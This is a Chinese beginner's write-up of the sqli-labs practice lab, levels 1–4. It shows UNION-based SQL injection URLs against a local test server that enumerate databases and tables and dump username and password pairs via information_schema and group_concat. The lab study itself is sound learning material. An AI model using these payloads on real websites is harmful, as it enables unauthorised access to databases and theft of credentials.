学习spli-lab,记录学习。

作者是一个小白,学习也是借鉴其他大佬的通关技巧。我尽可能的用自己的理解来帮助自己和其他像我一样的小白来学习。

学习sqli-lab其实是我们对于MySQL数据库的运用,我们的目的是看到数据库中的信息。

首先,spli-lab 是关于盲注的,我们只能通过网页的回显,报错来猜测是否有漏洞。发现漏洞后在猜测漏洞的语法类型进行漏洞注入,达到我们的目的。

第一个知识点:普通注入 。(less1-4)
Less-1: GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
首先,我们要知道http协议有两种基本请求方式:GET 和 POST 。
我们进行注入时通常也是使用这两种方式。

1.根据题目要求,要输入一个id并带值。因此根据输入语法,输入id值。
在这里插入图片描述在网址栏处输入:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
网页回显为:
在这里插入图片描述显示出了用户登录名与登录密码。
输入不同的id值,显示出的用户名和密码也不同。大家可尝试一下。
相信很多小白和我一样,不知道下一步做什么。
根据大佬的步骤与讲解,发现大佬们经常在id值后面输入单引号,双引号来尝试。这是一个常用的方法。
我就试一下单引号。
输入:http://127.0.0.1/sqli-labs-master/Less-1/?id=1’
回显
在这里插入图片描述提示报错信息在源码中是没有的,是后面添加的。至于如何添加的,后面有链接。
然后再将单引号删掉,回显正常。
比较两个信息:
SELECT * FROM users WHERE id=‘1’’ LIMIT 0,1
SELECT * FROM users WHERE id=‘1’ LIMIT 0,1

不难发现多了一个单引号就导致了报错。

解释一下 limit 语法。
limit 语法是用来显示字段内容的,后面的数字中的0,1作用不同。
其中第一位数字代表中那个字段开始,例如上面的0,就代表从第一个字段开始。
第二个数字代表显示多少个字段,例如上面的的1,就代表显示一个字段。

然后进行 or 或者 and 的比较来进行猜测。
输入:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ or 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ or 1=2 --+
回显都是正确的。
输入:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ and 1=2 --+
虽然没有报错,但也没有显示用户名和密码。

解释一下这个 --+ 。
–+ 是一个注释符,其他注释符还有 - -, # 。
但是在post类型中注释符只能用#。

然后用order by 语法来猜测有多少个列。
输入 :
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 10 --+

在这里插入图片描述提示我们没有10列。
这是一个猜测过程,所以 order by 后面的数字全靠猜测。

猜测过程就不解释了,很多攻略上都有。猜测的结果是有三列。
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 3 --+
在这里插入图片描述知道有三列后,就像知道每一列的表头是什么。这是下一步猜测。
于是,就开始使用 union select 语法。
什么是 union select 语法?
union select 语法:
union用于将多个select语句的结果合并到一个结果集中。
将会使用第一个selectT语句中的列名称作为返回结果的列名称。而且在每个select语句的相应位置中列出的选定列应具有相同的数据类型。
简单点来说就是将后面的内容一一写入每一个列中。
例如我们知道了有三列,下一步操作就是用union select语法。
输入:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ union select 1,2,3- -+
在这里插入图片描述看不出什么,疑惑是否是出错了?
大佬解释后,是因为在id=1所在的一行中已经有了内容,所以无法注入。
改变id值尝试:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,3- -+

在这里插入图片描述发现了所要的提示。
可以猜出到3对应的列是关于password的,2对应的列是关于name的。

基于这些信息就可开始下面的注入了。
首先,我们要知道数据库名。基于union select 语法,
使用查库的语句:
select schema_name from information_schema.schemata

输入:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2, schema_name from information_schema.schemata --+
在这里插入图片描述可以知道成功注入了,再使用limit语法来看库名。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2, schema_name from information_schema.schemata limit 1,1–+

在这里插入图片描述得到了一个库名。
但如果一个一个的输入也太麻烦,而且也只有一个库名。
为了简便,使用了 group_concat 函数
这可以让所有的select语法得到的信息一一列出。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2, group_concat(schema_name) from information_schema.schemata --+

在这里插入图片描述
注意,用了group_concat后就不能使用limit 语法了。
得到了所有的库名,就要开始得到表名了。

爆表名的语句:
select table_name from information_schema.tables where table_schema=‘xxxxx(库名)’
根据这个,输入:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
来爆security库的表名。
在这里插入图片描述得到表名后,最后就要得到表中的字段信息了。
根据爆字段语句:
select xxxx(字段名)from xxxx(库名).xxxx(列名)
输入:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,group_concat(password) from security.user --+在这里插入图片描述得到了password的所有信息。
但是这样看着很不习惯,没有了name的信息。
难道在来一次?这样是可以,但有没有了password的信息。
可能我们会想让想上面的显示name,下面显示password。这样可以,但是容易对比出错。
于是,大佬提供了一个拼接函数。
concat_ws("",A,B)
这个函数在双引号中填上连接符(随意),然后就可以让
A 和 B连接在一起。
我们试一下:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,concat_ws(’~’,username,password) from security.users --+
在这里插入图片描述显示所有的信息:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users --+
在这里插入图片描述至此,第一关就完了。
当然,方法不只一种,大家可以去搜索其他来借鉴。

Less-2: GET - Error based - Intiger based (基于错误的GET整型注入)
和第一关一样,要求输入id和值。但当在id值后面加上单引号后就报错了,和第一关一样。
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’
在这里插入图片描述但是题目是基于错误的GET整型注入,第一关是基于错误的GET单引号字符型注入。
这两者有什么区别?
单引号型:根据报错信息,可以确定输入参数的内容被存放到一对单引号中间
整数型:根据报错信息确定咱们输入的内容被原封不动的带入到数据库中,也可叫做数字型注入
具体点就是看报错提示
在这里插入图片描述在这里插入图片描述发现第一关的单引号是闭合的,第二关的是没有闭合的。这就是区别。这也提醒我们要注意闭合的情况。
因此,要去掉单引号。
后面的步骤和第一关就一样了,大家可以在尝试一下。

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
按例,输入单引号,看一下报错提示。
在这里插入图片描述发现 id=1 变成了 id=(‘1’’) 了,和上面完全不一样了。
再看正确的回显提示
在这里插入图片描述所有目的就是让单引号被注释掉。
再看第一关的注释回显
在这里插入图片描述发现注释后单引号在注释符的后面了。
由此,就可以得到如何让单引号被注释了。
输入:
127.0.0.1/sqli-labs-master/Less-3/?id=1’)–+
在这里插入图片描述
说明格式就是这样了。
后面的操作与前面就基本一样了,大家尝试一下。

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

看报错提示
在这里插入图片描述
这个和第三关类似,都有括号。
不同的是单引号保留在括号内,双引号被注释掉了,无法与前面的双引号闭合,从而报错。
根据单引号保留在括号内,就可以让单引号变成双引号并且添加括号,达到闭合的目的。
输入:
127.0.0.1/sqli-labs-master/Less-4/?id=1") --+
在这里插入图片描述后面的操作就一样了。

本篇文章是看了大佬的文章和哔哩哔哩上的视频。但是我不知道该如何输入哔哩哔哩的链接,所以在这里写一下。

https://www.bilibili.com/video/av66072415
up主讲的很好,希望大家有所进步。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值